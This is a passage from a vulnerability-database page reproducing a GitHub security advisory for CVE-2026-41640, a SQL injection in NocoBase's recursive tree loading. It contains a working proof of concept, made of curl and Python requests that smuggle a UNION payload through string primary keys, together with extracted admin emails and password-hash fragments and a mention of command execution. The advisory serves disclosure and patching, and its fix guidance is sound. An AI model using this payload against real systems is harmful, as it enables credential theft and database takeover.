CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\n\nGenerated SQL (3 valid UNION ALL branches):\n  WITH RECURSIVE cte AS (\n    SELECT \"id\", \"parentId\" FROM \"table\"\n    WHERE \"id\" IN (\u0027root\u0027,\u0027root\u0027) UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\u0027)\n    UNION ALL\n    SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n  ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"\u003cjwt_token\u003e\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n    {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n    {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n    {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n    {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n  ]}\u0027\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"id\":\"root\",\"title\":\"Root\"}\u0027\n\n# 3. Create injection parent \u2014 error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {\u0027Authorization\u0027: \u0027Bearer $TOKEN\u0027, \u0027Content-Type\u0027: \u0027application/json\u0027}\npayload_id = \\\"root\u0027) UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\\\"\nrequests.post(\u0027http://TARGET:13000/api/vuln_tree:create\u0027, headers=headers,\n    json={\u0027id\u0027: payload_id, \u0027title\u0027: \u0027x\u0027})\nrequests.post(\u0027http://TARGET:13000/api/vuln_tree:create\u0027, headers=headers,\n    json={\u0027id\u0027: \u0027child\u0027, \u0027title\u0027: \u0027c\u0027, \u0027parentId\u0027: payload_id})\nr = requests.get(\u0027http://TARGET:13000/api/vuln_tree:list\u0027, headers=headers,\n    params={\u0027appends[]\u0027: \u0027parent(recursively=true)\u0027, \u0027pageSize\u0027: \u0027100\u0027})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^\n#                                                             Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|\u0027:\u0027||substring(password,1,16), \u0027 \\| \u0027) FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n   ```javascript\n   const placeholders = nodeIds.map((_, i) =\u003e `$${i + 1}`).join(\u0027,\u0027);\n   const sql = `WITH RECURSIVE cte AS (\n       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n       FROM ${tableName}\n       WHERE ${q(targetKeyField)} IN (${placeholders})\n       UNION ALL\n       ...\n   ) SELECT ... FROM cte`;\n   return { sql, bind: nodeIds };\n   ```\n   Then call `db.sequelize.query(sql, { type: \u0027SELECT\u0027, bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`\u0027`, `\"`, `;`, `--`) in string-type primary key fields.",
  "id": "GHSA-4948-f92q-f432",
  "modified": "2026-05-08T19:55:14Z",
  "published": "2026-04-22T20:09:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-41640 (GCVE-0-2026-41640)

FKIE_CVE-2026-41640

GHSA-4948-F92Q-F432

Summary

Vulnerable Code

PoC

Impact

Fix Suggestion

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour